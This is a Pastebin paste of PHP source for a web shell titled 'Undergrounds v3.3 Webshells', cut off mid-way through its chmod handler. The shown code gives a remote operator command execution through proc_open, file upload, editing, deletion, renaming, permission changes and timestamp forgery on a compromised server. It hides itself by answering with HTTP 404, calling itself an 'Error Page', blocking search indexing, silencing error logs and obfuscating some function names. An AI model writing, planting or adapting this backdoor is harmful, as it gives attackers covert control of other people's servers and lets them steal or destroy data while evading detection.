Advertisement
b3gund4L

Untitled

Apr 20th, 2025 (edited)
1,134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 44.62 KB | None | 0 0
  1. <?php
  2. @ini_set('output_buffering', 0);
  3. @ini_set('display_errors', 0);
  4. set_time_limit(0);
  5. ini_set('memory_limit', '64M');
  6. header('Content-Type: text/html; charset=UTF-8');
  7. ?>
  8. <?php
  9. ?>
  10. <!DOCTYPE html>
  11. <html>
  12. <head>
  13.     <title>.::Undergrounds v3.3 Webshells::.</title>
  14.     <meta charset="utf-8">
  15.     <meta name="viewport" content="width=device-width, initial-scale=1">
  16.     <meta name="author" content="haxorqt">
  17.     <meta name="viewport" content="Kontol" />
  18.     <meta name="description" content="Error Page">
  19.     <meta property="og:description" content="Error Page">
  20.     <meta property="og:image" content="#">
  21.     <meta name="robots" content="noindex">
  22.     <meta name="googlebot" content="noindex">
  23.     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
  24.     <link href="https://fonts.googleapis.com/css2?family=Carrois+Gothic&display=swap" rel="stylesheet">
  25.     <link href="https://fonts.googleapis.com/css2?family=Bungee+Outline&display=swap" rel="stylesheet">
  26.     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
  27.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
  28. </head>
  29. <body>
  30.    
  31. <style>
  32.     @import url("https://fonts.googleapis.com/css?family=Dosis");
  33.     @import url("https://fonts.googleapis.com/css?family=Carrois+Gothic");
  34.     @import url("https://fonts.googleapis.com/css?family=Bungee+Outline");
  35. body {
  36.     font-family: "Dosis", cursive;
  37.     color: #fff;
  38.     text-shadow:0px 0px 1px #757575;
  39.     background-color: #212529;
  40.     background-size: cover;
  41.     background-attachment: fixed;
  42.     background-repeat: no-repeat;
  43.     background-size: 7%, 7%;
  44.     background-position: right bottom, left bottom;
  45. }
  46.  
  47. .directory-listing-table {
  48.   margin: auto;
  49.   background-color: #212529;
  50.   padding: .7rem 1rem;
  51.   max-width: 900px;
  52.   width: 100%;
  53.   box-shadow: 0 0 20px black;
  54.   border: 1px solid #ffc107;
  55. }
  56. .header {
  57.   margin: auto;
  58.   background-color: #212529;
  59.   padding: .7rem 1rem;
  60.   max-width: 100%;
  61.   width: 100%;
  62.   box-shadow: 0 0 20px black;
  63.   border-bottom: 1px solid #ffc107;
  64. }
  65. th {
  66.     border-top: 1px solid #fff;
  67.     border-bottom: 1px solid #fff;
  68. }
  69. tbody td {
  70.   font-size: 13px;
  71.   padding: 0.5rem;
  72.   color: #fff;
  73.   font-weight: 400;
  74.   font-family: "Roboto", "Poppins", sans-serif;
  75. }
  76. tbody td a {
  77.     text-decoration: none;
  78.     color: #fff;
  79. }
  80. tbody td:not(:first-child) {
  81.   text-align: center;
  82. }
  83.  
  84. body::-webkit-scrollbar {
  85.   width: 14px;
  86. }
  87.  
  88. body::-webkit-scrollbar-track {
  89.   background: #000;
  90. }
  91.  
  92. body::-webkit-scrollbar-thumb {
  93.   background-color: #212529;
  94.   border: 3px solid #000;
  95. }
  96. input {
  97.     margin-bottom: 4px;
  98.     background: rgba(0,0,0,0.3);
  99.     border: none;
  100.     outline: none;
  101.     padding: 5px;
  102.     font-size: 15px;
  103.     color: #fff;
  104.     text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
  105.     border: 1px solid rgba(0,0,0,0.3);
  106.     border-radius: 14px;
  107.     box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);
  108.     -webkit-transition: box-shadow .5s ease;
  109.     -moz-transition: box-shadow .5s ease;
  110.     -o-transition: box-shadow .5s ease;
  111.     -ms-transition: box-shadow .5s ease;
  112.     transition: box-shadow .5s ease;
  113. }
  114.  
  115. textarea {
  116.     max-width: 100%;
  117.     max-height: 100%;
  118.     padding-left: 2px;
  119.     resize: none;
  120.     overflow: auto;
  121.     color: #fff;
  122.     text-shadow: 1px 1px 1px rgba(0,0,0,0.3);
  123.     border: 1px solid rgba(0,0,0,0.3);
  124.     border-radius: 4px;
  125.     box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);
  126.     -webkit-transition: box-shadow .5s ease;
  127.     -moz-transition: box-shadow .5s ease;
  128.     -o-transition: box-shadow .5s ease;
  129.     -ms-transition: box-shadow .5s ease;
  130.     transition: box-shadow .5s ease;
  131.     background: rgba(0,0,0,0.3);
  132. }
  133. .badge-action-edit:hover::after {
  134.             content: "Edit"
  135.  }
  136.         .badge-action-rename:hover::after {
  137.             content: "Rename"
  138.         }
  139.         .badge-action-chmod:hover::after {
  140.             content: "Chmod"
  141.         }
  142.  
  143.         .badge-action-delete:hover::after {
  144.             content: "Delete"
  145.         }
  146.  
  147.         .badge-action-download:hover::after {
  148.             content: "Download"
  149.         }
  150.         .badge-action-unzip:hover::after {
  151.             content: "UnZip"
  152.         }
  153.         .badge-action-tanggal:hover::after {
  154.             content: "ChDate"
  155.         }
  156.         .badge-action-unzip:hover::after,
  157.         .badge-action-download:hover::after,
  158.         .badge-action-delete:hover::after,
  159.         .badge-action-chmod:hover::after,
  160.         .badge-action-rename:hover::after,
  161.         .badge-action-tanggal:hover::after,
  162.         .badge-action-edit:hover::after {
  163.             padding: 5px;
  164.             border-radius: 10px;
  165.             margin-left: -40px;
  166.             color: #ffc107;
  167.             border: 2px solid #ffc107;
  168.             background-color: #212529;
  169.         }
  170.         .badge-action-unzip:hover::after,
  171.         .badge-action-download:hover::after,
  172.         .badge-action-delete:hover::after,
  173.         .badge-action-chmod:hover::after,
  174.         .badge-action-rename:hover::after,
  175.         .badge-action-tanggal:hover::after,
  176.         .badge-action-edit:hover::after {
  177.             width: 68px;
  178.             text-align: center;
  179.             margin-top: -53px;
  180.             display: block;
  181.             position: absolute;
  182.             font-size: 14px;
  183.         }
  184.  
  185. textarea::-webkit-scrollbar {
  186.   width: 12px;
  187. }
  188.  
  189. textarea::-webkit-scrollbar-track {
  190.   background: #000000;
  191. }
  192.  
  193. textarea::-webkit-scrollbar-thumb {
  194.   background-color: #212529;
  195.   border: 3px solid black;
  196. }
  197.  
  198. a {
  199.     color: #fff;
  200.     text-decoration: none;
  201. }
  202.  
  203. a:hover {
  204.     color: #999797;
  205.     text-shadow:0px 0px 2 0px #ED360E;
  206. }
  207.  
  208. input,select,textarea {
  209.     border: 1px #000000 solid;
  210.     -moz-border-radius: 5px;
  211.     -webkit-border-radius:5px;
  212.     border-radius:5px;
  213. }
  214.  
  215. select:after {
  216.     cursor: pointer;
  217. }
  218. .pencet {
  219.     background-color: rgb(0 0 0 / 57%);
  220.     color: #fff;
  221.     border-color: blanchedalmond;
  222. }
  223. .crot {
  224.       border-radius: 50%;
  225.       padding: 15px;
  226.       width: 100px;
  227.       height: 100px;
  228. }
  229. .haxorqt-text {
  230.     font-size: 19pt;
  231.     font-family: "Carrois Gothic", cursive;
  232.     color: #fff;
  233.     text-align: center;
  234.     background: linear-gradient(200deg, #000000 25%, #ffffff 50%, #ffffff 75%, #ffffff 100%);
  235.     background-size: 200% auto;
  236.     -webkit-background-clip: text;
  237.     -webkit-text-fill-color: transparent;
  238.     animation: animate 1.2s linear infinite;
  239.     }
  240. @keyframes animate{ to { background-position: 200% center;
  241.       }
  242.     }
  243. body, a, button:link{cursor:url(https://raw.githubusercontent.com/GanestSeven/script/refs/heads/main/cursorpnis-removebg-preview.png),
  244.     default;
  245. }
  246.     button:hover {
  247.     cursor:url(https://raw.githubusercontent.com/GanestSeven/script/refs/heads/main/cursorpnis-removebg-preview.png),
  248.     wait;
  249. }
  250.     a:hover {
  251.     cursor:url(https://raw.githubusercontent.com/GanestSeven/script/refs/heads/main/cursorpnis-removebg-preview.png),
  252.     wait;
  253. }
  254. </style>
  255. </td>
  256. <script>
  257. function myFunction() {
  258.   var copyText = document.getElementById("myInput");
  259.   copyText.select();
  260.   copyText.setSelectionRange(0, 99999); // For mobile devices
  261.   navigator.clipboard.writeText(copyText.value);
  262.   alert("Copied Successfully!!");
  263. }
  264. </script>
  265. <?php
  266. error_reporting(0);
  267. set_time_limit(0);
  268. @clearstatcache();
  269. @ini_set('error_log', null);
  270. @http_response_code(404);
  271. $web = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST'];
  272. $disfunc = @ini_get("disable_functions");
  273. if (empty($disfunc)) {
  274.     $disf = "<font color='lime'>AMAN</font>";
  275. } else {
  276.     $disf = "<font color='red'>".$disfunc."</font>";
  277. }
  278. function author() {
  279.     echo "</div><table class='directory-listing-table'><td><center><font face='Carrois Gothic' size='3px'>2017 &copy; haxorqt | Haxorqt team</center></td></table><br>";
  280.     exit();
  281. }
  282.  
  283. function cekdir() {
  284.     if (isset($_GET['path'])) {
  285.         $serlok = $_GET['path'];
  286.     } else {
  287.         $serlok = getcwd();
  288.     }
  289.     if (is_writable($serlok)) {
  290.         return "<font color='lime'>Aman Coy</font>";
  291.     } else {
  292.         return "<font color='red'>KONTOL!</font>";
  293.     }
  294. }
  295.  
  296. function cekroot() {
  297.     if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
  298.         return "<font color='lime'>Aman Coy</font>";
  299.     } else {
  300.         return "<font color='red'>KONTOL!</font>";
  301.     }
  302. }
  303. function haxorqt_ex($file) {
  304.     $pile = $file;
  305.     $pch = pathinfo($pile, PATHINFO_FILENAME);
  306.     return $pch;
  307. }
  308.  
  309. function xrmdir($dir) {
  310.     $items = scandir($dir);
  311.     foreach ($items as $item) {
  312.         if ($item === '.' || $item === '..') {
  313.             continue;
  314.         }
  315.         $path = $dir.'/'.$item;
  316.         if (is_dir($path)) {
  317.             xrmdir($path);
  318.         } else {
  319.             unlink($path);
  320.         }
  321.     }
  322.     rmdir($dir);
  323. }
  324. function net($hexnet) {
  325.             for ($i = 0; $i < strlen($hexnet); $i++) {
  326.                 $haxorqt .= dechex(ord($hexnet[$i]));
  327.             }
  328.             return $haxorqt;
  329.         }
  330. function owner($file) {
  331.     if (function_exists("posix_getpwuid")) {
  332.         $tod = @posix_getpwuid(fileowner($file));
  333.         return "<center>".$tod['name']."</center>";
  334.     } else {
  335.         return "<center>".fileowner($file)."</center>";
  336.     }
  337. }
  338.  
  339. function cekwrite($serlok) {
  340.     $izin = substr(sprintf('%o', fileperms($serlok)), -4);
  341.     if (is_writable($serlok)) {
  342.         return "<font color=lime>".$izin."</font>";
  343.     } else {
  344.         return "<font color=red>".$izin."</font>";
  345.     }
  346. }
  347. function cmd($gas, $serlok) {
  348.     $crot = $gas;
  349.     $pr = "proc_open";
  350.     if (function_exists($pr)) {
  351.     $tod = @proc_open($crot, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok);
  352.     echo "".stream_get_contents($crottz[1])."</textarea></center><br>";
  353.     } else {
  354.         echo "<font color='orange'></font>";
  355.     }
  356. }
  357. function ekse($coman, $serlok) {
  358.     $ler = "2>&1";
  359.     if (!preg_match("/".$ler."/i", $coman)) {
  360.         $coman = $coman." ".$ler;
  361.     }
  362.     $komen = $coman;
  363.     $pr = "proc_open";
  364.     if (function_exists($pr)) {
  365.     $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok);
  366.     echo "<pre><textarea rows='25' style='color:lime;' readonly='' cols='120px'>
  367.    ".htmlspecialchars(stream_get_contents($crottz[1]))."</textarea></pre><br>";
  368.     } else {
  369.         echo "<font color='orange'>proc_open function is disabled!!</font>";
  370.     }
  371. }
  372. function ipserv() {
  373.     if (empty($_SERVER['SERVER_ADDR'])) {
  374.         return gethostbyname($_SERVER['SERVER_NAME']);
  375.         if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
  376.             return $_SERVER['SERVER_NAME'];
  377.         }
  378.     } else {
  379.         return $_SERVER['SERVER_ADDR'];
  380.     }
  381. }
  382.  
  383. function cekfile($file) {
  384.      return '<i class="fa fa-file-code-o" style="font-size:17px;color:#456DEB;"></i>';
  385. }
  386. function filedate($file) {
  387.     return date("F d Y g:i:s", filemtime($file));
  388. }
  389. function fext($file) {
  390.     $sub = "\163\x75" . "\142\x73" . "\x74\x72";
  391.     return $sub(strrchr($file,'.'),1);
  392. } function gazz($file) {
  393.     $fbiasa = array("php","phtml","shtml","phar","php7","html","htm","inc","phps","txt","js","css","htaccess","bin","pl","py","sh","php58","PhP7","aspx","dll","ini");
  394.     $notf = array("jpeg","jpg","png","gif","ico","webp","mp3","m4A","flac","wav","wma","3gp","ogg","webm","mp4","exe");
  395.     $stl = "\x73\x74" . "\162\164" . "\157\154\x6f" . "\167\x65\162";
  396.     $ext=$stl(fext($file));
  397.     if ($file == 'error_log') {
  398.         return "
  399. <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'>
  400. <i class='fa fa-edit' style='color: #36F239'></i></button>
  401. <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'>
  402. <i class='fa fa-pencil' style='color: #fff'></i></button>
  403. <button type='submit' class='btn btn-outline-secondary badge-action-chmod' name='pilih' value='chmod'>
  404. <i class='fa fa-gear' style='color: #06D2D5'></i></button>
  405. <button type='submit' class='btn btn-outline-secondary badge-action-tanggal' name='pilih' value='chdate'>
  406. <i class='fa fa-calendar' style='color: #4542F9'></i></button>
  407. <button type='submit' class='btn btn-outline-secondary badge-action-delete' name='pilih' value='hapus'>
  408. <i class='fa fa-trash' style='color: #E53A3A'></i></button>
  409. <button type='submit' class='btn btn-outline-secondary badge-action-unzip' name='pilih' value='unzip'>
  410. <i class='fa fa-file-archive-o' style='color: #F1BE0F'></i></button>";
  411.     } elseif(in_array($ext,$fbiasa)) {
  412.         return "
  413. <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'>
  414. <i class='fa fa-edit' style='color:#7AFF41'></i></button>
  415. <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'>
  416. <i class='fa fa-pencil'></i></button>
  417. <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'>
  418. <i class='fa fa-gear'></i></button>
  419. <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'>
  420. <i class='fa fa-calendar'></i></button>
  421. <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'>
  422. <i class='fa fa-trash'></i></button>";
  423.     } elseif(in_array($ext,$notf)) {
  424.         return "
  425. <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'>
  426. <i class='fa fa-pencil'></i></button>
  427. <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'>
  428. <i class='fa fa-gear'></i></button>
  429. <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'>
  430. <i class='fa fa-calendar'></i></button>
  431. <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'>
  432. <i class='fa fa-trash'></i></button>";
  433.     }  elseif($ext == 'zip') {
  434.         return "
  435. <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'>
  436. <i class='fa fa-pencil'></i></button>
  437. <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'>
  438. <i class='fa fa-gear'></i></button>
  439. <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'>
  440. <i class='fa fa-calendar'></i></button>
  441. <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'>
  442. <i class='fa fa-trash'></i></button>
  443. <button type='submit' class='btn btn-outline-warning badge-action-unzip' name='pilih' value='unzip'>
  444. <i class='fa fa-file-archive-o'></i></button>";
  445.     } else {
  446.         return "
  447. <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'>
  448. <i class='fa fa-edit' style='color:#7AFF41'></i></button>
  449. <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'>
  450. <i class='fa fa-pencil'></i></button>
  451. <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'>
  452. <i class='fa fa-gear'></i></button>
  453. <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'>
  454. <i class='fa fa-calendar'></i></button>
  455. <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'>
  456. <i class='fa fa-trash'></i></button>";
  457.     }
  458. }
  459.  
  460. function unzip($file, $serlok) {
  461.     if (!is_readable($file)) {
  462.         red("<table class='directory-listing-table' style='color:orange;'><thead><td><font color='orange'>Cannot Unzip File / Unreadable File !</font></td></thead></table>");
  463.         die();
  464.     } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
  465.         echo "<table class='directory-listing-table' style='border-color:red;'><td><font color='red'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> This isn't Zip File</center></font></td></table>";
  466.         die();
  467.     }
  468.     $zip = new ZipArchive;
  469.     $res = $zip -> open($file);
  470.     if ($res == true) {
  471.         $zip -> extractTo($serlok);
  472.         $zip -> close();
  473.         echo "<table class='directory-listing-table' style='border-color:lime;'> <td>Unzip File Successfully => <font color='lime'>".basename($_POST['path'])."</font><br>
  474.        Extract to : <font color='aqua'>".$file."</font></td></thead</table>";
  475.     } else {
  476.         echo "<table class='directory-listing-table' style='border-color:red;'><td><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to Unzip File!!</font></td></table>";
  477.     }
  478.     exit();
  479. }
  480. foreach($_POST as $key => $value){
  481.     $_POST[$key] = stripslashes($value);
  482. }
  483.  
  484. if(isset($_GET['path'])){
  485.     $serlok = $_GET['path'];
  486.     $serlok2 = $_GET['path'];
  487. } else {
  488.     $serlok = getcwd();
  489.     $serlok2 = getcwd();
  490. }
  491.  
  492. $serlok = str_replace('\\','/',$serlok);
  493. $serloks = explode('/',$serlok);
  494. $serlokbos = @scandir($serlok);
  495.  
  496.  
  497. echo '<table class="header"><td><center>
  498.    <div style="font-family:Bungee Outline;font-size:24px;"><a href="'.$_SERVER['SCRIPT_NAME'].'"><i class="fa-brands fa-napster"></i> haxorqt</a></center></div></td><td>';
  499. echo '<table align="center"><td>
  500. <div class="btn-group me-2" role="group" aria-label="First group">
  501. <button type="button" onclick=location.href="'.$_SERVER['SCRIPT_NAME'].'" class="btn btn-outline-light"><font color="aqua"><i class="fa fa-home"></i> Home</font></button>
  502. <div class="btn-group me-2" role="group" aria-label="First group">
  503. <button type="button" onclick=location.href="?path='.$serlok.'&'.net("cmd").'=opet" class="btn btn-outline-light"><i class="fa fa-terminal"></i> Console</button>';
  504.  
  505. echo '<button type="button" onclick=location.href="?path='.$serlok.'&'.net("upload").'=opet" class="btn btn-outline-light"><i class="fa fa-upload"></i> Upload</button>
  506.  
  507. <button type="button" class="btn btn-outline-light"onclick=location.href="?path='.$serlok.'&'.net("info").'=opet"><i class="fa fa-info-circle"></i> information</button>
  508.  
  509. <button type="button" class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("buatfile").'=opet"><i class="fa-solid fa-file-circle-plus" style="color:#1F5ACF;"></i> Create File</button>
  510.  
  511. <button type="button" class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("buatfolder").'=opet" style="float: right;"><i class="fa-solid fa-folder-plus" style="color:#FAA625;"></i> Create Folder</button>
  512.  
  513. <button type="button" class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("about").'=opet" style="float: right;"><i class="fa fa-info"></i> About</button>
  514. </td></tr></div>
  515. </div></div></td></table></table><br>';
  516. echo '<table class="directory-listing-table"><td><i class="fa fa-folder" style="color:#F19013;"></i> <b>:</b> ';
  517. foreach($serloks as $id => $lok){
  518.     if($lok == '' && $id == 0){
  519.         echo '<a href="?path=/">/&nbsp;</a></center>';
  520.         continue;
  521.     }
  522.     if($lok == '') continue;
  523.     echo '<a href="?path=';
  524.     for($i=0; $i<=$id; $i++){
  525.     echo $serloks[$i];
  526.     if($i != $id) echo "/";
  527. }
  528. echo '">'.$lok.'</a>&nbsp;/&nbsp;';
  529. }
  530. echo '</td></thead></table><br>';
  531.     if (isset($_REQUEST['logout'])) {
  532.         session_start();
  533.         session_destroy();
  534.         echo '<script>window.location="'.$_SERVER['SCRIPT_NAME'].'";</script>';
  535.     }
  536.  
  537. if (isset($_GET['viewfile'])) {
  538.     $files = basename($_GET['viewfile']);
  539.     echo "<table class='directory-listing-table'><td><center>Filename : <font color='orange'>$files</font>";
  540.     echo '<form method="POST" action="?pilihan&path='.$serlok.'">';
  541.     echo "<table width='20%' border='0' cellpadding='0' cellspacing='0' align='center'><td>
  542.    <a href='?path=$serlok' class='btn btn-outline-light'><i class='fa fa-arrow-left'></i> back</a>";
  543.     echo gazz($file);
  544.     echo "<button type='button' style='float:right;' class='btn btn-outline-light' onclick='myFunction()'><i class='fa fa-copy'></i> Copy</button></div><br><br>";
  545.     echo "<input type='hidden' name='type' value='file'>
  546.    <input type='hidden' name='name' value='$files'>
  547.    <input type='hidden' name='path' value='$serlok/$files'>";
  548.     echo "<textarea readonly='' cols=120 rows=30 id='myInput'>".htmlspecialchars(file_get_contents($_GET['viewfile']))."</textarea></td></table></table><br>";
  549.     exit();
  550. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
  551.     if (is_dir($_POST['path'])) {
  552.         xrmdir($_POST['path']);
  553.         if (file_exists($_POST['path'])) {
  554.             echo '<table class="directory-listing-table" style="border-color:red;"><td><center><font color="red"><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Failed to delete Directory</font></center></td></table>';
  555.         } else {
  556.             echo '<table class="directory-listing-table" style="border-color:lime;"><td><center><font color="lime"><i class="fa fa-trash"></i> Folder removed</font></center></td></table>';
  557.         }
  558.     } elseif (is_file($_POST['path'])) {
  559.         @unlink($_POST['path']);
  560.         if (file_exists($_POST['path'])) {
  561.             echo "<table class='directory-listing-table' style='border-color:red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to Delete File</font></center></td></table>";
  562.         } else {
  563.             echo "<table class='directory-listing-table' style='border-color:lime;'><td><center><i class='fa fa-trash'></i> File removed <font color='lime'>".basename($_POST['path'])."</font></center></td></table>";
  564.         }
  565.     }
  566.     exit();    
  567. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
  568.     if (isset($_POST['gantin'])) {
  569.         $namabaru = $_GET['path']."/".$_POST['newname'];
  570.         if (@rename($_POST['path'], $namabaru) === true) {
  571.             echo "<table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Change Name Success<center></td></table><br>";
  572.             if ($_POST['type'] == "file") {
  573.                 echo "<table class='directory-listing-table'><td><center>Filename : <font color='orange'>".basename($_POST['newname'])."</font><br><br>";
  574.             } else {
  575.                 echo "<table class='directory-listing-table'><td><center><center>Folder : <font color='orange'>".basename($_POST['newname'])."</font><br>";
  576.             }
  577.             echo '<form method="post">
  578.            <div class="input-group mb-1" style="width:300px;">
  579.            <input name="newname" type="text" class="form-control" size="20" placeholder="New name" />
  580.            <input type="hidden" name="path" value="'.$_POST['newname'].'">
  581.            <input type="hidden" name="pilih" value="gantinama">';
  582.             if ($_POST['type'] == "file") {
  583.                 echo '<input type="hidden" name="type" value="file">';
  584.             } else {
  585.                 echo '<input type="hidden" name="type" value="dir">';
  586.             }
  587.             echo '<input type="submit" value="Change" name="gantin" class="btn btn-outline-light mb-1">
  588.            </div></form></td></table>';
  589.         } else {
  590.             echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> FAILED TO CHANGE NAME</font></center></td></table>";
  591.         }
  592.     } else {
  593.         if ($_POST['type'] == "file") {
  594.             echo "<table class='directory-listing-table'><td><center>Filename <font color='orange'>: ".basename($_POST['path'], $_GET['file'])."</font><br><br>";
  595.         } else {
  596.             echo "<table class='directory-listing-table'><td><center>Folder <font color='orange'>: ".basename($_POST['path'])."</font><br><br>";
  597.         }
  598.         echo '
  599.        <form method="post">
  600.        <div class="input-group mb-1" style="width:300px;">
  601.        <input name="newname" type="text" class="form-control" size="20" placeholder="New name" />
  602.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  603.        <input type="hidden" name="pilih" value="gantinama">';
  604.         if ($_POST['type'] == "file") {
  605.             echo '<input type="hidden" name="type" value="file">';
  606.         } else {
  607.             echo '<input type="hidden" name="type" value="dir">';
  608.         }
  609.         echo '<input type="submit" value="Change" name="gantin" class="btn btn-outline-light mb-1"/>
  610.        </div></form></td></table><br>';
  611.     } exit();
  612. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
  613.     if (isset($_POST['gasedit'])) {
  614.         $edit = file_put_contents($_POST['path'], $_POST['src']);
  615.         if ($edit == true) {
  616.             echo "<table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>File saved Successfully</font></center></td></table><br>";
  617.         } else {
  618.             echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Can't save file/Permission Denied</font></center></td></table><br>";
  619.         }
  620.     }
  621.     echo "<center><table class='directory-listing-table'><td><center> Filename : <font color='orange'>".basename($_POST['path'])."</font><br><br>";
  622.     echo '<form method="post">
  623.    <div class="btn-group me-2" role="group" aria-label="First group">
  624.    <a href="?path='.$serlok.'" class="btn btn-outline-light"><i class="fa fa-arrow-left"></i> back</a>
  625.    <button type="submit" name="gasedit" class="btn btn-outline-light"style="width:250px;">
  626.    <i class="fa fa-save"></i> Save</button>
  627.    <button type="button" class="btn btn-outline-light" onclick="myFunction()"><i class="fa fa-copy"></i> Copy</button></div><br><br>
  628.    <textarea type="text" cols=120 id="myInput" rows=30 name="src">'.htmlspecialchars(@file_get_contents($_POST['path'])).'</textarea><br>
  629.    <input type="hidden" name="path" value="'.$_POST['path'].'">
  630.    <input type="hidden" name="pilih" value="edit">
  631.    </form><br></td></thead></table><br>'; exit();
  632. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chdatef") {
  633.     $filedate = basename($_POST['path']);
  634.       $tgl = date("F d Y g:i:s", filemtime($_POST['path']));
  635.           echo "<table class='directory-listing-table'><td>
  636.          <form method='post'><center>
  637.          <font color='#fff'>Ubah Tanggal<br>Folder :</font> <font color='orange'>$filedate</font>
  638.          <br>$tgl<br><br><div class='input-group mb-3' style='width:280px;'>        
  639.          <input name='tanggal' type='text' class='form-control' value='".$_POST['tanggal']."' placeholder='$tgl'/>
  640.          <input type='hidden' name='path' value='".$_POST['path']."'>
  641.          <input type='hidden' name='pilih' value='chdatef'>
  642.          <button type='submit' class='btn btn-outline-light mb-1' name='change' value='change'>Change</button></div></form></center></td></table>";
  643.           if (isset($_POST['change'])) {
  644.         $tanggal = strtotime($_POST['tanggal']);
  645.         if (@touch($_POST['path'], $tanggal) == true) {
  646.           echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'><center>Changed Successfully!!</font></center></td></table>";
  647.         } else {
  648.           echo "<br><table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change date!!</td></table>";
  649.         }
  650.       }exit();
  651. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chdate") {
  652.     $filedate = basename($_POST['path']);
  653.       $tgl = date("F d Y g:i:s", filemtime($_POST['path']));
  654.           echo "<table class='directory-listing-table'><td>
  655.          <form method='post'><center><font color='#fff'>Ubah Tanggal<br>File :</font> <font color='orange'>$filedate <br></font>$tgl
  656.          <br><br><div class='input-group mb-3' style='width:300px;'>
  657.          <input name='tanggal' type='text' class='form-control' value='".$_POST['tanggal']."' placeholder='$tgl'/>
  658.          <input type='hidden' name='path' value='".$_POST['path']."'>
  659.          <input type='hidden' name='pilih' value='chdate'>
  660.          <button type='submit' class='btn btn-outline-light mb-1' name='change' value='change'>Change</button>
  661.          </div></form></center></td></table>";
  662.           if (isset($_POST['change'])) {
  663.         $tanggal = strtotime($_POST['tanggal']);
  664.         if (@touch($_POST['path'], $tanggal) == true) {
  665.           echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'><center>Changed Successfully!!</font></center></td></table>";
  666.         } else {
  667.           echo "<br><table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change date!!</td></table>";
  668.         }
  669.       }exit();
  670. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chmodf") {
  671.     $files = basename($_POST['path']);
  672.     $sbr = 'substr'; $spr = 'sprintf'; $flperm = 'fileperms';
  673.       echo "<table class='directory-listing-table'><td>
  674.      <br><center> <font color='#fff'>Folder : <font color='orange'>$files</font> (".$sbr($spr('%o',$flperm($_POST['path'])), -4).")<br><br>
  675.      <form method='post'>
  676.      <div class='input-group mb-3' style='width:230px;'>
  677.    <input type='text' name='mod1' maxlength='4' class='form-control' height='10' value='".$_POST['mod1']."' placeholder='0755' required/>
  678.    <input type='hidden' name='path' value='".$_POST['path']."'>
  679.    <input type='hidden' name='pilih' value='chmodf'>
  680.    <button type='submit' class='btn btn-outline-light mb-1' name='ganti' value='ganti'>Change</button>
  681.    </div></form></td></table>";
  682.     if (isset($_POST['ganti'])) {
  683.       $opet = @chmod($_POST['path'], octdec($_POST['mod1']));
  684.     if ($opet == true) {
